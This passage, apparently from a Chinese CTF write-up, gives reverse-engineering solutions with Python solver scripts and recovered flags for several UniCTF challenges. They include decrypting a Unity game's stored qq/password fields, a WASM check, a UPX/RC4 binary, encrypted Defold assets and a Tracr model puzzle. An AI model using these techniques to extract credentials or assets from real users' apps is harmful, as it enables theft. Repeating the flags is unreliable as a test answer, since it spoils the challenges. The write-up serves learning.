attributeStart, attributeSize, attributeCount, idIndex, classIndex, styleIndex = struct.unpack("<HHHHHH", f.read(12))

attrs = []
for _ in range(attributeCount):
ans, aname, rawValue = struct.unpack("<III", f.read(12))
vsize, vres0, vtype = struct.unpack("<HBB", f.read(4))
vdata = struct.unpack("<I", f.read(4))[0]
attrs.append((aname, rawValue, vtype, vdata))

if strings and name < len(strings) and strings[name] == "manifest":
for aname, rawValue, vtype, vdata in attrs:
if aname < len(strings) and strings[aname] == "package":
idx = rawValue if rawValue != 0xFFFFFFFF else (vdata if vtype == 0x03 else None)
return strings[idx]
f.seek(chunk_start + csize)
else:
f.seek(chunk_start + csize)

raise RuntimeError("package not found")

apk_path = "EVE chaos.apk"
with zipfile.ZipFile(apk_path, "r") as z:
axml = z.read("AndroidManifest.xml")
print("package =", parse_axml_package(axml))

跑出来的包名是:

  • com.CACX.EVEchaos

题目提示:zip 密码是你想要的文件的完整路径 readme,所以对 Unity PlayerPrefs,最常见候选是:

  • /data/data/com.CACX.EVEchaos/shared_prefs/com.CACX.EVEchaos.v2.playerprefs.xml

实测这个密码是对的。

自动尝试 ZIP 密码并读出 PlayerPrefs 的 Python

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import zipfile

zip_path = "bin.zip"
target_in_zip = "bin/bin/bin/bin" # zip 里实际加密的那个文件名(题目给的包里就是这个)

candidates = [
"/data/data/com.CACX.EVEchaos/shared_prefs/com.CACX.EVEchaos.v2.playerprefs.xml",
"/data/data/com.CACX.EVEchaos/shared_prefs/com.CACX.EVEchaos.v2.playerprefs",
"/data/data/com.CACX.EVEchaos/shared_prefs/com.CACX.EVEchaos.xml",
"/data/user/0/com.CACX.EVEchaos/shared_prefs/com.CACX.EVEchaos.v2.playerprefs.xml",
]

with zipfile.ZipFile(zip_path, "r") as z:
for pwd in candidates:
try:
data = z.read(target_in_zip, pwd=pwd.encode())
print("[+] unzip ok, password =", pwd)
open("playerprefs.xml", "wb").write(data)
break
except RuntimeError:
pass
else:
raise RuntimeError("no password matched")

解出来的 playerprefs.xml 里你会看到类似:

  • <string name="qq">...URLENCODED...</string>
  • <string name="password">...URLENCODED...</string>

这两项的值是 URL 编码后的 Base64

提取并做 URLDecode + Base64 的 Python

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import re
import base64
import urllib.parse

xml = open("playerprefs.xml", "r", encoding="utf-8", errors="ignore").read()

qq_enc = re.search(r'<string name="qq">(.*?)</string>', xml).group(1)
pwd_enc = re.search(r'<string name="password">(.*?)</string>', xml).group(1)

qq_b64 = urllib.parse.unquote(qq_enc)
pwd_b64 = urllib.parse.unquote(pwd_enc)

qq_ct = base64.b64decode(qq_b64)
pwd_ct = base64.b64decode(pwd_b64)

print("qq ciphertext len =", len(qq_ct))
print("pwd ciphertext len =", len(pwd_ct))
open("qq.ct", "wb").write(qq_ct)
open("pwd.ct", "wb").write(pwd_ct)

因为 APK 是 Unity IL2CPP,常规打法:

  1. Il2CppDumper 输入:
    • assets/bin/Data/Managed/Metadata/global-metadata.dat
    • lib/arm64-v8a/libil2cpp.so
  2. 得到 dump.cs / script.json / DummyDll
  3. 用 dnSpy / Rider 打开 DummyDll(或直接看 dump.cs)
  4. 全局搜索关键词:Encrypt / Decrypt / FinalDecrypt / PlayerPrefs / password / qq

在 metadata 的字符串池里能看到 FinalEncrypt / FinalDecrypt / encrypt 等符号名,说明游戏侧确实封装了加解密函数。
接下来你需要在 dump 出来的 C# 里找到类似:

  • FinalDecrypt(string s)Decrypt(string b64)
  • 里面会出现 Key / IV

下面以最常见的 AES-CBC + PKCS7

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad

# TODO: 把这里替换成你在 Il2CppDumper/dnSpy 里看到的 key/iv
KEY = b"CHANGE_ME_16_BYTES" # 16/24/32 bytes
IV = b"CHANGE_ME_16_BYTES" # 16 bytes

def aes_cbc_pkcs7_decrypt(ct: bytes) -> bytes:
cipher = AES.new(KEY, AES.MODE_CBC, iv=IV)
pt = cipher.decrypt(ct)
return unpad(pt, 16)

qq_ct = open("qq.ct", "rb").read()
pwd_ct = open("pwd.ct", "rb").read()

print("[qq ]", aes_cbc_pkcs7_decrypt(qq_ct).decode(errors="ignore"))
print("[pwd]", aes_cbc_pkcs7_decrypt(pwd_ct).decode(errors="ignore"))

在 dump 出来的代码里发现是:

  • IV 前置在密文头部
  • 或者用了 MD5/SHA256 派生 key/iv
  • 或者是 AES-ECB / DES / TripleDES

那么把解密函数按 dump.cs 的逻辑改一下即可。

已从用户文件里的 PlayerPrefs 加密字段把明文恢复出来了:

  • qq123456
  • passwordUniCTF{unity_is_very_easy}

flag为:

1
UniCTF{unity_is_very_easy}

你是人类吗

题目给了三个关键文件:

  • index.html:页面、采集鼠标轨迹(x/y)并调用 wasm 验证 index
  • verify.js:Emscripten 生成的加载器,负责加载 verify.wasm 并导出 Module.ccall/_malloc/_free 等 verify
  • verify.wasm:真正的“灵魂验证”核心

先进行轨迹采集

页面在 <canvas> 上监听:

  • mousedown:清空点集
  • mousemove:记录 points.x.push(e.offsetX); points.y.push(e.offsetY);
  • mouseup/mouseleave:停止记录

这些点都是整数坐标(offsetX/offsetY)。 index

接着调用 wasm 的方式

点击按钮后调用 checkTrace()

  • 先检查 points.x.length < 50 就报错 “Trace too short.”
  • 否则 setTimeout(runWasmCheck, 50)

runWasmCheck() 里做了三件事: index

  1. len = points.x.length
  2. Module._malloc(len * 4) 为 x/y 分配内存,并用 Module.setValue(ptr + i*4, points[i], 'i32') 写入
  3. Module.ccall('verify_human', 'number', ['number','number','number'], [xPtr, yPtr, len])
  4. 把返回的指针 resultPtrModule.UTF8ToString(resultPtr) 转成字符串显示
  5. 如果 resultStr.startsWith("UniCTF") 就变绿,否则变红

接着分析verify.js 做了什么

verify.js 是标准 Emscripten glue code,主要作用:

  • 加载 verify.wasm
  • 把 wasm export 绑定到 Module._verify_human / Module._malloc / Module._free
  • 提供 Module.ccall / Module.UTF8ToString / Module.setValue 等运行时函数 verify

所以核心必须去看 verify.wasmverify_human。反汇编 verify.wasm:锁定 verify_human,直接用 LLVM 工具链自带的:

1
llvm-objdump -d verify.wasm --disassemble-symbols=verify_human

可以看到 verify_human 的逻辑非常“直白”:
先算 4 个生物特征值 → 拼成 64-bit seed → LCG 生成伪随机字节流 → XOR 解密数据段里的密文 → 返回解密结果字符串。

接着分析verify_human 伪代码还原

verify_human(xPtr, yPtr, len) 的关键逻辑可还原为:

长度检查

1
if (len < 50) return "Error: Data too short.";

注意:前端也检查 < 50,但 wasm 里也有一份相同意义的错误字符串。
这也是题面说的“看起来高明但很傻”的点之一:把错误字符串、密文都硬编码进 wasm DATA 段

计算“生物特征值”

循环从 i = 1len-1

  • dx = x[i] - x[i-1]
  • dy = y[i] - y[i-1]

并维护:

  • prev_dx 初始为 0
  • prev_dy 初始为 0

累计量:

  • sum_ddx2 += (dx - prev_dx)^2
  • sum_ddy2 += (dy - prev_dy)^2
  • totalDist += sqrt(dx*dx + dy*dy)
  • 然后更新 prev_dx = dx, prev_dy = dy

最后形成 4 个值:

  • A(低 16 位)
    A = floor( 2 * (sum_ddx2 / len) ) & 0xFFFF
  • B(次低 16 位)
    B = floor( 2 * (sum_ddy2 / len) ) & 0xFFFF
  • C(第 3 段 16 位)
    C = floor( totalDist / len ) & 0xFFFF
  • D(最高 16 位)
    D = floor( len * 0.16 ) & 0xFFFF
    (0.16 这个常数在 wasm 里以 0x1.47ae147ae147bp-3 出现,换算就是 0.16)

然后拼 seed:

1
2
3
4
seed = ( (uint64)D << 48 )
| ( (uint64)C << 32 )
| ( (uint64)B << 16 )
| ( (uint64)A );

LCG 生成字节流 + XOR 解密

它用的 LCG 参数是固定常数:

  • mul = 6364136223846793005
  • inc = 1442695040888963407

每轮:

1
2
3
seed = seed * mul + inc;     // mod 2^64 自动溢出
rnd = (seed >> 56) & 0xFF; // 取最高字节
out[i] = cipher[i] ^ rnd;

输出长度固定 46 字节,然后补 \0 作为 C 字符串结束。接着从数据段提取密文与错误字符串verify.wasm 的 DATA 段里有一段从内存偏移 1024 (0x400) 开始的数据:

  • 46 字节:密文 cipher[0..45]
  • 后面紧跟着字符串:"Error: Data too short.\0"

也就是说:

  • cipher 存在 0x400
  • Error 字符串指针刚好是 0x400 + 46 = 0x42E = 1070

这也解释了为什么函数一开始默认返回 1070:就是错误字符串地址。解密脚本与求解生物特征值(A/B/C/D)

因为它本质是流加密,我们只要找到正确 seed,就能解出返回的那条 UniCTF{...}

题面提示“生物特征值通常不会太大”,所以可以直接在小范围内爆破 A/B/C/D(四个 16-bit 段),最终命中能解出明文 UniCTF{...} 的 4 个生物特征值为:

  • A = 42
  • B = 88
  • C = 15
  • D = 20

对应 seed:

  • seed = 0x0014_000f_0058_002a

解密得到的“验证正确时的字符串”是:

UniCTF{Hum4n_Err0r_1s_The_Tru3_P4ssw0rd_8x92a}

最终 Flag

unictf34.png

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
import io
import hashlib

WASM_PATH = "verify.wasm"

LCG_MUL = 6364136223846793005
LCG_INC = 1442695040888963407
MASK64 = (1 << 64) - 1

def read_varuint(f: io.BytesIO) -> int:
res = 0
shift = 0
while True:
b = f.read(1)[0]
res |= (b & 0x7F) << shift
if (b & 0x80) == 0:
return res
shift += 7

def parse_sections(wasm: bytes):
f = io.BytesIO(wasm)
assert f.read(4) == b"\0asm"
assert f.read(4) == b"\x01\x00\x00\x00"
secs = []
while f.tell() < len(wasm):
sec_id_b = f.read(1)
if not sec_id_b:
break
sec_id = sec_id_b[0]
size = read_varuint(f)
payload = f.read(size)
secs.append((sec_id, payload))
return secs

def parse_init_expr_i32const(f: io.BytesIO) -> int:
op = f.read(1)[0]
assert op == 0x41 # i32.const
val = read_varuint(f) # 本题 offset 都是正数,直接 varuint 读够用
end = f.read(1)[0]
assert end == 0x0b
return val

def get_cipher_from_wasm(wasm: bytes) -> bytes:
secs = parse_sections(wasm)
data_sec = [p for sid, p in secs if sid == 11][0] # section id 11 = DATA
f = io.BytesIO(data_sec)
seg_cnt = read_varuint(f)
segs = []
for _ in range(seg_cnt):
flags = read_varuint(f)
assert flags == 0 # 本题是 active segment, memidx=0
offset = parse_init_expr_i32const(f)
sz = read_varuint(f)
blob = f.read(sz)
segs.append((offset, blob))
# 密文在 offset=1024 的段里前 46 字节
seg0 = [blob for off, blob in segs if off == 1024][0]
cipher = seg0[:46]
return cipher

def decrypt(cipher: bytes, seed: int) -> bytes:
s = seed & MASK64
out = bytearray()
for i in range(len(cipher)):
s = (s * LCG_MUL + LCG_INC) & MASK64
rnd = (s >> 56) & 0xFF
out.append(cipher[i] ^ rnd)
return bytes(out)

def main():
wasm = open(WASM_PATH, "rb").read()
cipher = get_cipher_from_wasm(wasm)

# 本题已知命中值(也可以自己写爆破)
A, B, C, D = 42, 88, 15, 20
seed = (D << 48) | (C << 32) | (B << 16) | A

pt = decrypt(cipher, seed)
print("[+] plaintext:", pt.decode(errors="replace"))
print("[+] A,B,C,D:", A, B, C, D)
ssum = A + B + C + D
print("[+] sum =", ssum)

# 计算最终 flag
assert pt.startswith(b"UniCTF{") and pt.endswith(b"}")
inner = pt.decode()[len("UniCTF{"):-1]
md5v = hashlib.md5((inner + str(ssum)).encode()).hexdigest()
print("[+] final flag: UniCTF{" + md5v + "}")

if __name__ == "__main__":
main()

Ez

先查壳

unictf35.png

可以知道UPX的壳,接着脱壳

1
upx -d Ez -o Ez_unpacked

unictf36.png

然后用 IDA分析 Ez_unpacked

unictf37.png

校验逻辑大致是:

  1. 读取输入 flag
  2. 对每个字符做 XOR 0x5B
  3. 将结果用 自定义 Base64 字母表编码
  4. 对 Base64 结果再做 RC4 加密(key 固定)
  5. 和程序内置的 48 字节密文比较,完全一致则 Correct!
  1. 自定义 Base64 字母表

程序不是标准 Base64 表,而是:

1
abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/
  1. XOR 常量

每个字节 XOR:

1
0x5B
  1. RC4 key

RC4 密钥:

1
KKKeeeyyy!!!
  1. 内置比较密文(48 bytes)

密文(十六进制):

1
ca7e802768f74199af9a811ea29c158e66aea9235d2e6720751cc478e39f34e26f660a3de3c4c0a18d9b274fe781da3e

因为程序流程是:

1
flag --xor--> xored --custom_b64--> b64 --rc4_encrypt--> cipher

我们反过来做:

1
cipher --rc4_decrypt--> b64 --custom_b64_decode--> xored --xor--> flag

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
# solve.py
import base64
import binascii

# 自定义 Base64 字母表
CUSTOM = b"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/"
STD = b"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"

TO_CUSTOM = bytes.maketrans(STD, CUSTOM)
TO_STD = bytes.maketrans(CUSTOM, STD)

def b64_custom_decode(s: bytes) -> bytes:
"""把自定义表的 base64 转回标准表再解码"""
return base64.b64decode(s.translate(TO_STD))

def rc4(key: bytes, data: bytes) -> bytes:
"""RC4(KSA + PRGA)"""
S = list(range(256))
j = 0
for i in range(256):
j = (j + S[i] + key[i % len(key)]) & 0xFF
S[i], S[j] = S[j], S[i]

i = 0
j = 0
out = bytearray()
for b in data:
i = (i + 1) & 0xFF
j = (j + S[i]) & 0xFF
S[i], S[j] = S[j], S[i]
k = S[(S[i] + S[j]) & 0xFF]
out.append(b ^ k)
return bytes(out)

def main():
key = b"KKKeeeyyy!!!"

cipher_hex = (
"ca7e802768f74199af9a811ea29c158e"
"66aea9235d2e6720751cc478e39f34e2"
"6f660a3de3c4c0a18d9b274fe781da3e"
)
cipher = bytes.fromhex(cipher_hex)

# 1) RC4 解密得到自定义 base64 字符串
b64_custom = rc4(key, cipher)

# 2) 自定义 base64 解码得到 xor 后的字节
xored = b64_custom_decode(b64_custom)

# 3) 再 xor 0x5B 还原 flag
flag = bytes([c ^ 0x5B for c in xored]).decode(errors="replace")

print(flag)

if __name__ == "__main__":
main()

运行即可得到flag:

1
UniCTF{Th1S_1S_v1ry_S1nnpl1_r1ght?}

把输出喂给原程序:

1
echo 'UniCTF{Th1S_1S_v1ry_S1nnpl1_r1ght?}' | ./Ez

应得到 Correct!

d4yDAY_UP

把 APK 当 zip 解开看结构,可以看到 assets/game.arciassets/game.arcdassets/game.dmanifestassets/game.projectc 以及 libUniCTF.so

  • game.arci:资源索引
  • game.arcd:资源数据
  • 这是 Defold 引擎的典型发布结构

因此 main 逻辑都在 .arci/.arcd 里,需要解包 +(可能)解密 + 解压才能看到。索引头部本题 game.arci 开头 32 字节可以按 大端 >8I 解析为:

  • version:5
  • 若干保留字段
  • entry_count:条目数量
  • entry_list_offset:entry 表偏移
  • hash_list_offset:hash 表偏移
  • hash_length:hash 长度(本题是 20)

entry 表中每个 entry 固定 16 字节(大端 >4I):

1
(offset, uncompressed_size, stored_size, flags)

其中:

  • offset:该资源在 game.arcd 中的起始偏移
  • uncompressed_size:解压后的大小
  • stored_size:实际存储大小(加密/压缩后的大小);若为 0xFFFFFFFF 表示“未压缩(raw)”,读取长度用 uncompressed_size
  • flags:标志

2)flags 含义

我用脚本跑出来的行为是:

  • flags == 0:raw(直接读)
  • flags == 2:LZ4 block 压缩(需要 LZ4 解压)
  • flags == 3先解密,再 LZ4 解压(也就是 encrypted + compressed)

本题资源之所以看不到脚本,是因为大量资源是 flags=3(加密+压缩)。关键是:Defold 常见的资源加密扩展会把 key 直接硬编码进 native so(很多 CTF 就靠这个)。

我在 lib/arm64-v8a/libUniCTF.so 里能直接搜到一条非常典型的 key 字符串:

1
aQj8CScgNP4VsfXK

这就是解密用 key。

flags=3 的资源,我验证可行的流程是:

  1. XTEA-CTR 解密(8 字节 counter 初始为 0)
  2. 然后对解密结果做 LZ4 block 解压(得到 uncompressed_size 大小的真实资源)

下面的 Python 脚本可以直接对 UniCTF.apk 解出所有资源到目录里,并尽量根据资源内部携带的路径信息命名。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
import os
import re
import struct
import zipfile
import hashlib

APK_PATH = "UniCTF.apk"
OUT_DIR = "unictf_extract"

KEY_STR = "aQj8CScgNP4VsfXK" # 从 libUniCTF.so strings 中找到
KEY = KEY_STR.encode("ascii")
NONCE8 = b"\x00" * 8 # CTR 初始计数器:全 0

def xtea_encrypt_block(v0, v1, key_words, rounds=32):
# 标准 XTEA
s = 0
delta = 0x9E3779B9
for _ in range(rounds):
v0 = (v0 + ((((v1 << 4) ^ (v1 >> 5)) + v1) ^ (s + key_words[s & 3]))) & 0xFFFFFFFF
s = (s + delta) & 0xFFFFFFFF
v1 = (v1 + ((((v0 << 4) ^ (v0 >> 5)) + v0) ^ (s + key_words[(s >> 11) & 3]))) & 0xFFFFFFFF
return v0, v1

def xtea_ctr_crypt(data: bytes, key: bytes, nonce8: bytes) -> bytes:
"""
XTEA-CTR(本题验证可用的实现):
- key 按大端拆成 4 个 u32
- counter block 按大端拆成 2 个 u32
- counter 以字节数组方式从最后一字节 +1(大端进位)
"""
if len(key) != 16 or len(nonce8) != 8:
raise ValueError("key must be 16 bytes, nonce must be 8 bytes")

key_words = list(struct.unpack(">4I", key))
counter = bytearray(nonce8)
out = bytearray()

for off in range(0, len(data), 8):
block = data[off:off+8]
v0, v1 = struct.unpack(">2I", bytes(counter))
e0, e1 = xtea_encrypt_block(v0, v1, key_words)
ks = struct.pack(">2I", e0, e1)

for i, b in enumerate(block):
out.append(b ^ ks[i])

# counter++ (字节数组末尾递增)
for i in range(7, -1, -1):
counter[i] = (counter[i] + 1) & 0xFF
if counter[i] != 0:
break

return bytes(out)

def lz4_decompress_block(src: bytes, expected_size: int) -> bytes:
"""
纯 Python LZ4 block 解压(无需 lz4 库)
"""
i = 0
out = bytearray()
n = len(src)

while i < n:
token = src[i]
i += 1

lit_len = token >> 4
match_len = token & 0x0F

if lit_len == 15:
while i < n:
b = src[i]
i += 1
lit_len += b
if b != 255:
break

out.extend(src[i:i+lit_len])
i += lit_len
if i >= n:
break

offset = src[i] | (src[i+1] << 8)
i += 2

if match_len == 15:
while i < n:
b = src[i]
i += 1
match_len += b
if b != 255:
break

match_len += 4
start = len(out) - offset
if start < 0:
raise ValueError("bad lz4 offset")

for _ in range(match_len):
out.append(out[start])
start += 1

if len(out) != expected_size:
# 有些实现允许不严格相等,但本题 entry 给的 expected_size 是可靠的
raise ValueError(f"lz4 size mismatch: got {len(out)} expect {expected_size}")

return bytes(out)

def guess_path(blob: bytes):
"""
Defold 的很多资源是 protobuf/字节码,里面会包含原始资源路径字符串。
用正则粗略提取一个像路径的字符串来命名。
"""
for m in re.finditer(rb"/[A-Za-z0-9_\-./]{3,200}", blob):
s = m.group().decode("utf-8", "ignore")
if any(s.endswith(ext) for ext in [
".lua", ".luac", ".scriptc", ".gui_scriptc", ".collectionc",
".renderc", ".input_bindingc"
]):
return s
return None

def main():
os.makedirs(OUT_DIR, exist_ok=True)

with zipfile.ZipFile(APK_PATH, "r") as z:
arci = z.read("assets/game.arci")
arcd = z.read("assets/game.arcd")
lib = z.read("lib/arm64-v8a/libUniCTF.so")

# 解析 arci header:大端 8 个 u32
version, r1, r2, r3, count, entry_off, hash_off, hash_len = struct.unpack(">8I", arci[:32])
print(f"[+] arci version={version} entries={count} entry_off={entry_off} hash_off={hash_off} hash_len={hash_len}")

# 可选:确认 key 的确在 so 里
if KEY_STR.encode() in lib:
print(f"[+] found key string in libUniCTF.so: {KEY_STR}")
else:
print("[!] key string NOT found in lib, double-check architecture or strings result")

for idx in range(count):
base = entry_off + idx * 16
off, usize, csize, flags = struct.unpack(">4I", arci[base:base+16])

if csize == 0xFFFFFFFF:
stored = arcd[off:off+usize]
data = stored
else:
stored = arcd[off:off+csize]
data = stored

if flags == 3:
data = xtea_ctr_crypt(data, KEY, NONCE8)

if flags in (2, 3):
data = lz4_decompress_block(data, usize)

path = guess_path(data) or f"/_entry_{idx:02d}.bin"
out_path = os.path.join(OUT_DIR, path.lstrip("/"))
os.makedirs(os.path.dirname(out_path), exist_ok=True)
with open(out_path, "wb") as f:
f.write(data)

print(f"[{idx:02d}] flags={flags} off={off} usize={usize} csize={csize} -> {out_path}")

print("[+] done.")

if __name__ == "__main__":
main()

运行后你会得到一个 unictf_extract/ 目录,里面能看到诸如:

  • flag_validator.lua(注意:它其实是 LuaJIT bytecode + 一层封装,不是明文 Lua)
  • druid/druid.luac
  • 以及各种 .gui_scriptc/.collectionc/... 等资源

解包后直接搜:

  • unictf_extract/flag_validator.lua:里面能 strings 到大量函数名(encrypt/stream_xor/derive_state/...)与固定用户名:
    • Unictf
  • unictf_extract/druid/druid.luac:能找到它调用 set_precomputed_ciphertext 的地方,以及一段形似密文的字符串:
1
A80c2e2cc337d7a7129f854e5ba2548599f029fd1dfc42d2d2d2d00000000

也就是说:程序大致是

  1. 取 username(固定 "Unictf"
  2. 对用户输入 flag 做 encrypt(username, flag) 得到一段字符串(“密文/摘要”)
  3. 与硬编码/预置的字符串做比较

最终 flag 为:

1
UniCtf{UuPpppPpppP0}

im_revenge

附件目录中关键文件:

  • __main__.py:入口脚本
  • challenge.pkl.zst:压缩后的 Tracr 模型
  • challenge.pkl:解压后的模型(我在本地生成)
  • delta17.npy / delta20.npy:之前探测的 100 位输入版本(中途产物)

入口脚本核心逻辑(来自 __main__.py):

  • 输入字符串,做 ASCII 检查
  • 送入模型
  • 输出 decode_output

关键是模型并不会直接比较输入是否是 flag,而是“检查一个逻辑谜题”,正确时输出提示:

1
Congratulations! The flag is unictf{hashlib.sha256(your_input).hexdigest()}.

因此我们要恢复 your_input

challenge.pkl.zst 是 zstd 压缩过的 pickle。需要解压后,再安全地加载。由于包含 JAX 数组,我们用一个自定义 Unpickler,把 JAX 数组转换为 numpy。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
# unpack_and_load.py
import pickle
import zstandard as zstd

# 解压
with open('challenge.pkl.zst', 'rb') as f, zstd.ZstdDecompressor().stream_reader(f) as cfp:
data = cfp.read()
with open('challenge.pkl','wb') as f:
f.write(data)

# 安全加载:把 jax array 转成 numpy
class Dummy:
def __init__(self,*a,**k): pass
def __call__(self,*a,**k): return Dummy()
def __reduce__(self): return (Dummy,())

def _reconstruct_array(reconstruct, args, state, kwargs=None):
arr = reconstruct(*args)
arr.__setstate__(state)
return arr

class MyUnpickler(pickle.Unpickler):
def find_class(self, module, name):
if module=='jax._src.array' and name=='_reconstruct_array':
return _reconstruct_array
try:
return super().find_class(module, name)
except Exception:
return Dummy

with open('challenge.pkl','rb') as f:
obj = MyUnpickler(f).load()

print(obj.keys())
print(obj['config'])

模型配置:

  • num_layers=10, num_heads=2, d_model=1336
  • key_size=257 (所以 attention 输出维度 514)
  • MLP hidden=1032

因为没有 JAX/Haiku/Tracr,我们用纯 numpy 写一个 forward,按 Transformer 的线性层和注意力公式执行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
# forward.py
import pickle, numpy as np
from math import sqrt

# === 安全加载(与上面一致) ===
class Dummy:
def __init__(self,*a,**k): pass
def __call__(self,*a,**k): return Dummy()
def __reduce__(self): return (Dummy,())

def _reconstruct_array(reconstruct, args, state, kwargs=None):
arr = reconstruct(*args); arr.__setstate__(state); return arr

class MyUnpickler(pickle.Unpickler):
def find_class(self, module, name):
if module=='jax._src.array' and name=='_reconstruct_array':
return _reconstruct_array
try:
return super().find_class(module, name)
except Exception:
return Dummy

with open('challenge.pkl','rb') as f:
obj = MyUnpickler(f).load()

params = obj['params']
labels = obj['residual_labels']
label_to_idx = {l:i for i,l in enumerate(labels)}
enc = obj['input_encoder']
enc_map = enc.__dict__['encoding_map']

num_layers = obj['config']['num_layers']
num_heads = obj['config']['num_heads']
key_size = obj['config']['key_size']

# === forward ===
def softmax(x):
x = x - x.max(axis=-1, keepdims=True)
e = np.exp(x)
return e / e.sum(axis=-1, keepdims=True)


def forward(tokens):
L = len(tokens)
ids = [enc_map[t] for t in tokens]
tok_emb = params['token_embed']['embeddings'][ids]
pos_emb = params['pos_embed']['embeddings'][:L]
x = tok_emb + pos_emb

for l in range(num_layers):
Wq = params[f'transformer/layer_{l}/attn/query']['w']
bq = params[f'transformer/layer_{l}/attn/query']['b']
Wk = params[f'transformer/layer_{l}/attn/key']['w']
bk = params[f'transformer/layer_{l}/attn/key']['b']
Wv = params[f'transformer/layer_{l}/attn/value']['w']
bv = params[f'transformer/layer_{l}/attn/value']['b']
Wo = params[f'transformer/layer_{l}/attn/linear']['w']
bo = params[f'transformer/layer_{l}/attn/linear']['b']

q = (x@Wq + bq).reshape(L, num_heads, key_size)
k = (x@Wk + bk).reshape(L, num_heads, key_size)
v = (x@Wv + bv).reshape(L, num_heads, key_size)

outs = []
for h in range(num_heads):
scores = q[:,h,:] @ k[:,h,:].T / sqrt(key_size)
w = softmax(scores)
outs.append(w @ v[:,h,:])
out = np.concatenate(outs, axis=-1) @ Wo + bo
x = x + out

W1 = params[f'transformer/layer_{l}/mlp/linear_1']['w']
b1 = params[f'transformer/layer_{l}/mlp/linear_1']['b']
W2 = params[f'transformer/layer_{l}/mlp/linear_2']['w']
b2 = params[f'transformer/layer_{l}/mlp/linear_2']['b']
h = np.maximum(x@W1 + b1, 0)
x = x + (h@W2 + b2)

return x

解码输出时,发现真正输出来自 residual 里的 sequence_map_1:* 维度。输出只会出现两种:

  • “Incorrect message”
  • “Correct message”

这说明模型内部逻辑只是一个大 predicate,把正确输入映射为 True,然后输出正确提示。查看 aliyunctf-2024-challenges-public-main/mi/tools/gen.py,可知 Tracr 程序是 Light-Up (Akari) 棋盘约束:

  • 每个条件对应一个坐标集合的求和
  • 有 EQ/LT/GT 断言

模型里对应的关键 residual label:

  • selector_width_17:*selector_width_20:*:对应两个 chunk 的“条件求和”
  • map_16:*map_19:*:对应 predicate id 序列
  • sequence_map_7sequence_map_9:对应 predicate 判断结果

其中:

  • sequence_map_9 完全由 selector_width_20 生成(对每个位置的 sum20 做 predicate)
  • sequence_map_7 完全由 selector_width_17 生成(对每个位置的 sum17 做 predicate)

入口脚本会把输入 pad 到 100,但模型实际输入长度由 Tracr 编译时的 棋盘大小 决定。

length_18 维度验证:

1
2
3
4
5
6
# length test
for L in [2,5,10,50,101]:
tokens=['BOS']+['0']*(L-1)
res=forward(tokens)
length=int(res[1, len_idx].argmax())
print(L, 'len_decoded', length)

输出是 L-1,说明模型按真实长度运行;而棋盘大小是 11×11=121。所以必须输入 121 位 0/1。

为了找到真实映射,必须探测长度 128(Tracr 编译 max_seq_len),得到完整矩阵:

1
2
3
# probe_full.py
# 生成 129x128 的 delta 矩阵
# 输出:delta17_full.npy / delta20_full.npy / base17_full.npy / base20_full.npy

实际发现:

  • 只有 121 个列被使用
  • 有效行是 1..88

sequence_map_9 做采样,发现 map_19 的 id 与 predicate 一一对应:

id predicate 解释
0 eq 0 sum==0
1 eq 2 sum==2
2 eq 1 sum==1
3 eq 3 sum==3
4 lt 2 sum<2
5 gt 0 sum>0

sequence_map_7 则只使用 map_16,它只有 0 和 5,实际只代表 gt 0

构造约束:

  • chunk A(positions 1..88):sum17 > 0
  • chunk B(positions 1..88):sum20 满足上表 predicate
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
# solve.py
import numpy as np
from z3 import Int, Solver, Sum

D17 = np.load('delta17_full.npy')
D20 = np.load('delta20_full.npy')
map16 = np.load('map16_full.npy')
map19 = np.load('map19_full.npy')

n_bits = 121
bits = [Int(f'b{i}') for i in range(n_bits)]

s = Solver()
for b in bits:
s.add(b>=0, b<=1)

# chunk A: sum17 > 0
for p in range(1, 89):
if map16[p] != 1:
continue
idxs = [i for i in range(n_bits) if D17[p,i]==1]
s.add(Sum([bits[i] for i in idxs]) > 0)

# chunk B: sum20 predicate by map19 id
for p in range(1, 89):
idxs = [i for i in range(n_bits) if D20[p,i]==1]
expr = Sum([bits[i] for i in idxs])
pid = int(map19[p])
if pid==0:
s.add(expr==0)
elif pid==1:
s.add(expr==2)
elif pid==2:
s.add(expr==1)
elif pid==3:
